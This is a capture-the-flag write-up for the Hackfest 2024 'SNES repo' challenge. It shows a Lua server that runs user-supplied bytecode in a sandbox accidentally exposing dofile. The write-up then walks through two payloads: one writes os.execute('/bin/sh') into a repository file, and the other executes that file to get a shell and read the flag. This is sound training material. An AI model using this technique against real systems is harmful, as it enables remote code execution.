Hackfest 2024: SNES repo
Writeup for the “SNES repo” challenge created by Rastislonge for the Hackfest CTF 2024.
For this challenge, you’re given the address of a TCP server and the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
-- base64 decode
local b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local b64map = {}
for i = 1, #b64chars do
b64map[b64chars:sub(i, i)] = i - 1
end
local function base64_decode(data)
data = data:gsub('[^' .. b64chars .. '=]', '')
return (data:gsub('.', function(x)
if x == '=' then return '' end
local r, f = '', (b64map[x] or 0)
for i = 6, 1, -1 do
r = r .. (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r
end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
if (#x ~= 8) then return '' end
local c = 0
for i = 1, 8 do c = c + (x:sub(i, i) == '1' and 2 ^ (8 - i) or 0) end
return string.char(c)
end))
end
-- Define the Game class and items
Game = {}
Game.__index = Game
-- Constructor for the Game class
function Game:new(title, serial, ROMsize)
local instance = setmetatable({}, Game)
instance.title = title or "Unknown"
instance.serial = serial or "Unknown"
instance.ROMsize = ROMsize or "Unknown"
return instance
end
-- Verify the repository file exists
filepath = "repository.txt"
file = io.open (filepath, "r+")
if not file then
file = io.open (filepath, "w")
io.close(file)
file = io.open (filepath, "r+")
end
io.output(file)
function Game:printDetails()
io.write("\n-- Title: " .. self.title .. "\n-- Serial: " .. self.serial .. "\n-- ROMsize: " .. self.ROMsize .. "\n------------------------------------------------")
end
local Game1 = Game:new("Uncharted Waters - New Horizons", "SNS-QL-USA", "2 MB")
local Game2 = Game:new("Donkey Kong Country 2 - Diddy's Kong Quest", "SNS-ADNE-USA", "4 MB")
local Game3 = Game:new("Power Rangers Zeo - Battle Racers", "SNSP-A4RP-EUR", "1 MB")
local Game4 = Game:new("Final Fanstasy II", "SNS-F4-USA", "1 MB")
local Game5 = Game:new("DinoCity", "SNS-DW-USA", "1 MB")
-- Print repository
io.write("----------------SNES repository-----------------")
Game1:printDetails()
Game2:printDetails()
Game3:printDetails()
Game4:printDetails()
Game5:printDetails()
io.close(file)
file = io.open (filepath, "r")
print(file:read("*a"))
io.close(file)
-- DEBUG statement, don't forget to remove!!1 ^w^
local sandbox_env = {
dofile = dofile
}
-- Function to execute decoded bytecode
local function execute_bytecode(encoded_data)
-- Decode Base64 data
local bytecode = base64_decode(encoded_data)
local func, err = load(bytecode, nil, 'b', sandbox_env)
if not func then
print("Failed to load bytecode:", err)
return false
else
-- Load the new entry
local success, title, serial, romSize = pcall(func)
if not success then
print("Error during execution:", title)
return false
else
return true, title, serial, romSize
end
end
end
-- Main function to handle user input and run bytecode
local function main()
while true do
print("\n---Enter 'exit' anytime to quit and reset the repository.---!")
print("\nEnter your base64 encoded object to add to the SNES repository:")
local input = io.read("*line")
if input == "exit" then
print("Exiting...")
os.remove(filepath)
break -- Exit the loop
end
-- Execute the bytecode and capture results
local success, title, serial, romSize = execute_bytecode(input)
-- Check if bytecode executed successfully and validate output
if success then
if title then
-- Create a new instance of Game with the results
local game = Game:new(title, serial, romSize)
file = io.open (filepath, "a")
io.output(file)
game:printDetails()
io.close(file)
file = io.open (filepath, "r")
print(file:read("*a"))
io.close(file)
else
print("There was an error adding you entry...")
end
else
print("Failed to add entry to repository!")
end
end
end
main()
The application expects to receive a compiled Lua function encoded in base64, which returns information about a new game to be added to the repository. The function is executed in a sandbox to “protect” the server against the execution of malicious code.
In the sandbox environment, the only available function is dofile()
. As indicated in the code comment, this function should have been removed because it allows reading and executing a Lua script file.
1
2
3
4
-- DEBUG statement, don't forget to remove!!1 ^w^
local sandbox_env = {
dofile = dofile
}
To exploit this vulnerability, we would need to write Lua code to a file on the server. Fortunately for us, the application saves the game information in a file named repository.txt
. The exploitation will occur in two steps. First, we will provide a valid game with the name os.execute("/bin/sh")
so that it gets saved in the repository. Then, we will be able to call the dofile
function on the repository.
The first payload will look like this. A line return must be added so that the Lua code is on its own line in the repository.txt
file.
1
return 'My Game\nos.execute("/bin/sh")', "SNS-QL-USA", "1 MB"
Then we can compile and encode the payload in this way:
1
2
% luac payload.lua
% base64 -w0 luac.out
Once the payload is executed on the server, the repository file will look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
----------------SNES repository-----------------
-- Title: Uncharted Waters - New Horizons
os.execute('/bin/sh')
-- Serial: SNS-QL-USA
-- ROMsize: 2 MB
------------------------------------------------
-- Title: Donkey Kong Country 2 - Diddy's Kong Quest
-- Serial: SNS-ADNE-USA
-- ROMsize: 4 MB
------------------------------------------------
-- Title: Power Rangers Zeo - Battle Racers
-- Serial: SNSP-A4RP-EUR
-- ROMsize: 1 MB
------------------------------------------------
-- Title: Final Fanstasy II
-- Serial: SNS-F4-USA
-- ROMsize: 1 MB
------------------------------------------------
-- Title: DinoCity
-- Serial: SNS-DW-USA
-- ROMsize: 1 MB
------------------------------------------------
The second payload is simply to execute the repository file, which will allow us to obtain a shell on the server.
1
2
dofile("repository.txt")
return 'A new game', "SNS-QL-USA", "1 MB"
The final step is to read the file /flag.txt
:
1
% cat /flag.txt